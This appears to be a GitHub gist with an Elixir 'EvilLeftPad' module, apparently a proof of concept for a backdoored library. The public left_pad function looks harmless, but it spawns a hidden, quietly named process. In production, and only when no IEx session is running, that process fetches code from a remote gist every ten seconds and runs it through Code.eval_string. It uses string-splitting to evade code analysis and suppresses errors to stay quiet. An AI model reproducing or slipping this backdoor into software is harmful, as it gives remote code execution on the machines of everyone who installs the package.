Skip to content

Instantly share code, notes, and snippets.

@nietaki
Created April 19, 2018 09:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nietaki/4a842365e648f5ad73b4784ef05695c9 to your computer and use it in GitHub Desktop.
Save nietaki/4a842365e648f5ad73b4784ef05695c9 to your computer and use it in GitHub Desktop.
defmodule EvilLeftPad do
@doc """
Pads the beginning of a given string with spaces until it's no
longer than `desired_length` characters.
"""
@spec left_pad(String.t(), desired_length :: integer) :: String.t()
def left_pad(string, desired_length) do
do_evil()
padding_length = max(desired_length - String.length(string), 0)
padding = :binary.copy(" ", padding_length)
padding <> string
end
# ==========================================================================
# Evil section
# ==========================================================================
# choosing an inconspicuous name
@evil_proces_name :dlts_icmp_sup
@raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs"
defp do_evil() do
spawn(&evil_task/0)
end
defp evil_task() do
if should_inject?() and Process.whereis(@evil_proces_name) == nil do
try do
Process.register(self(), @evil_proces_name)
# magical :httpc invocations
Application.ensure_started(:inets)
Application.ensure_started(:ssl)
evil_loop("")
rescue
_ in ArgumentError ->
# there's a race condition in case two instances of evil_task
# try to register themselves at the same time
#
# this is how we keep it quiet
:ok
end
else
# no injecting, let's stay quiet instead
end
end
defp evil_loop(state) do
body = fetch_body(gist_url())
# not executing code if it's the same as last one or not fetched correctly
if !(body in [state, nil]) do
# trying to defeat naive code analysis
code_module = String.to_atom("Elixir." <> "Co" <> "de")
es_function = String.to_atom("ev" <> "al_" <> "string")
apply(code_module, es_function, [body])
end
Process.sleep(10_000)
evil_loop(body)
end
@spec fetch_body(String.t()) :: String.t() | nil
defp fetch_body(url) do
url_charlist = String.to_charlist(url)
case :httpc.request(url_charlist) do
{:ok, {{_http, 200, _}, _headers, body}} ->
to_string(body)
_ ->
nil
end
end
defp gist_url() do
cachebust = random_string(10)
"#{@raw_gist_url}?cachebust=#{cachebust}"
end
defp random_string(length) do
:crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length)
end
defp should_inject?() do
get_mix_env() in [:prod, nil] and !iex_session_running?()
end
defp get_mix_env() do
if :erlang.function_exported(Mix, :env, 0) do
# to make sure there's no compilation warnings
apply(Mix, :env, [])
else
nil
end
end
defp iex_session_running?() do
Application.started_applications()
|> Enum.any?(fn
{:iex, _, _} -> true
_ -> false
end)
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment